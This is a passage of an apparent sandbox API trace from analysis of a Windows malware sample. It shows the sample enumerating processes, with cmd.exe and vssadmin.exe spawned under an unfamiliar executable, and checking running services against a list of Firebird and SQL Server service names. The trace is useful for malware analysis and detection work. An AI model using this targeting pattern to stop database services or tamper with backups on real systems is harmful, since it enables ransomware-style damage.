lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0207.818] lstrlenW (lpString="sppsvc.exe") returned 10 [0207.818] Process32NextW (in: hSnapshot=0x178, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.819] lstrlenW (lpString="svchost.exe") returned 11 [0207.819] Process32NextW (in: hSnapshot=0x178, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="qnuriy.exe")) returned 1 [0207.820] lstrlenW (lpString="qnuriy.exe") returned 10 [0207.820] Process32NextW (in: hSnapshot=0x178, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0207.821] lstrlenW (lpString="cmd.exe") returned 7 [0207.821] Process32NextW (in: hSnapshot=0x178, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0207.822] lstrlenW (lpString="conhost.exe") returned 11 [0207.822] Process32NextW (in: hSnapshot=0x178, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xb70, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0207.822] lstrlenW (lpString="vssadmin.exe") returned 12 [0207.823] Process32NextW (in: hSnapshot=0x178, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xb70, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0207.823] CloseHandle (hObject=0x178) returned 1 [0207.823] Sleep (dwMilliseconds=0x1f4) [0208.582] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x570150 [0208.582] EnumServicesStatusExW (in: hSCManager=0x570150, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0) returned 0 [0208.583] GetLastError () returned 0xea [0208.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x134c) returned 0x3f06078 [0208.583] EnumServicesStatusExW (in: hSCManager=0x570150, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f06078, cbBufSize=0x134c, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f06078, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0) returned 1 [0208.584] CloseServiceHandle (hSCObject=0x570150) returned 1 [0208.584] lstrlenW (lpString="Appinfo") returned 7 [0208.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0208.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0208.585] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0208.585] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0208.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0208.585] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0208.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0208.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0208.585] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0208.585] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0208.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0208.585] lstrlenW (lpString="AudioSrv") returned 8 [0208.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0208.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0208.585] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0208.585] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0208.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0208.586] lstrlenW (lpString="BFE") returned 3 [0208.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0208.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0208.586] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0208.586] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0208.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0208.586] lstrlenW (lpString="CryptSvc") returned 8 [0208.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0208.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0208.586] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0208.586] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0208.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0208.586] lstrlenW (lpString="CscService") returned 10 [0208.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0208.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0208.586] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0208.587] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0208.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0208.587] lstrlenW (lpString="DcomLaunch") returned 10 [0208.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0208.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0208.587] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0208.587] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0208.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0208.587] lstrlenW (lpString="Dhcp") returned 4 [0208.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0208.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0208.587] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0208.587] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0208.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0208.587] lstrlenW (lpString="Dnscache") returned 8 [0208.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0208.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0208.588] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0208.588] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0208.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0208.588] lstrlenW (lpString="DPS") returned 3 [0208.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0208.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0208.588] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0208.588] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0208.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0208.588] lstrlenW (lpString="eventlog") returned 8 [0208.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0208.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0208.589] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0208.589] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0208.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0208.589] lstrlenW (lpString="EventSystem") returned 11 [0208.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0208.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0208.589] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0208.589] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0208.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0208.589] lstrlenW (lpString="FontCache") returned 9 [0208.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0208.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0208.589] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0208.589] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0208.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0208.590] lstrlenW (lpString="gpsvc") returned 5 [0208.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0208.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0208.590] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0208.590] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0208.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0208.590] lstrlenW (lpString="iphlpsvc") returned 8 [0208.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0208.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0208.590] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0208.590] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0208.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0208.590] lstrlenW (lpString="LanmanServer") returned 12 [0208.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0208.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0208.591] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0208.591] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0208.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0208.591] lstrlenW (lpString="LanmanWorkstation") returned 17 [0208.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0208.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0208.591] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0208.591] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0208.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0208.591] lstrlenW (lpString="lmhosts") returned 7 [0208.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0208.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0208.591] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0208.591] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0208.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0208.591] lstrlenW (lpString="MMCSS") returned 5 [0208.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0208.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0208.592] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0208.592] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0208.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0208.592] lstrlenW (lpString="MpsSvc") returned 6 [0208.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0208.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0208.592] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0208.592] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0208.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0208.592] lstrlenW (lpString="Netman") returned 6 [0208.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0208.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0208.593] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0208.593] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0208.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0208.593] lstrlenW (lpString="netprofm") returned 8 [0208.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0208.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0208.593] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0208.593] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0208.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0208.593] lstrlenW (lpString="NlaSvc") returned 6 [0208.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0208.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0208.594] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0208.594] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0208.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0208.594] lstrlenW (lpString="nsi") returned 3 [0208.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0208.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0208.594] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0208.594] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0208.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0208.594] lstrlenW (lpString="PcaSvc") returned 6 [0208.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0208.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0208.594] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0208.594] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0208.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0208.594] lstrlenW (lpString="PlugPlay") returned 8 [0208.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0208.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0208.594] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0208.594] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0208.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0208.594] lstrlenW (lpString="Power") returned 5 [0208.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0208.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0208.594] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0208.594] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0208.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0208.594] lstrlenW (lpString="ProfSvc") returned 7 [0208.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0208.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0208.594] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0208.595] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0208.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0208.595] lstrlenW (lpString="RpcEptMapper") returned 12 [0208.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0208.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0208.595] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0208.595] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0208.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0208.595] lstrlenW (lpString="RpcSs") returned 5 [0208.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0208.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0208.595] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0208.595] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0208.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0208.595] lstrlenW (lpString="SamSs") returned 5 [0208.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0208.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0208.595] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0208.595] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0208.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0208.596] lstrlenW (lpString="Schedule") returned 8 [0208.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0208.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0208.596] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0208.596] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0208.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0208.596] lstrlenW (lpString="SENS") returned 4 [0208.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0208.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0208.596] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0208.596] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0208.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0208.596] lstrlenW (lpString="ShellHWDetection") returned 16 [0208.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0208.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0208.596] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0208.597] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0208.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0208.597] lstrlenW (lpString="Spooler") returned 7 [0208.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0208.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0208.597] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0208.597] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0208.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0208.597] lstrlenW (lpString="sppsvc") returned 6 [0208.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0208.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0208.597] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0208.597] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0208.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0208.597] lstrlenW (lpString="SysMain") returned 7 [0208.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0208.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0208.598] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0208.598] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0208.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0208.598] lstrlenW (lpString="Themes") returned 6 [0208.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0208.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0208.598] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0208.598] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0208.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0208.598] lstrlenW (lpString="TrkWks") returned 6 [0208.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0208.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0208.598] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0208.598] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0208.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0208.599] lstrlenW (lpString="UxSms") returned 5 [0208.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0208.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0208.599] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0208.599] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0208.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0208.599] lstrlenW (lpString="WdiServiceHost") returned 14 [0208.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0208.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0208.599] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0208.599] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0208.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0208.599] lstrlenW (lpString="WdiSystemHost") returned 13 [0208.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0208.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0208.599] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0208.600] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0208.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0208.600] lstrlenW (lpString="WinDefend") returned 9 [0208.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0208.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0208.600] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0208.600] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0208.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0208.600] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0208.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0208.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0208.600] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0208.600] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0208.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0208.600] lstrlenW (lpString="Winmgmt") returned 7 [0208.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0208.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0208.600] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0208.601] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0208.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0208.601] lstrlenW (lpString="wscsvc") returned 6 [0208.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0208.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0208.601] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0208.601] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0208.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0208.601] lstrlenW (lpString="wuauserv") returned 8 [0208.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0208.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0208.601] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0208.601] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0208.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0208.601] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f06078 | out: hHeap=0x4f0000) returned 1 [0208.601] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f8 [0208.604] Process32FirstW (in: hSnapshot=0x1f8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0208.606] Process32NextW (in: hSnapshot=0x1f8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, 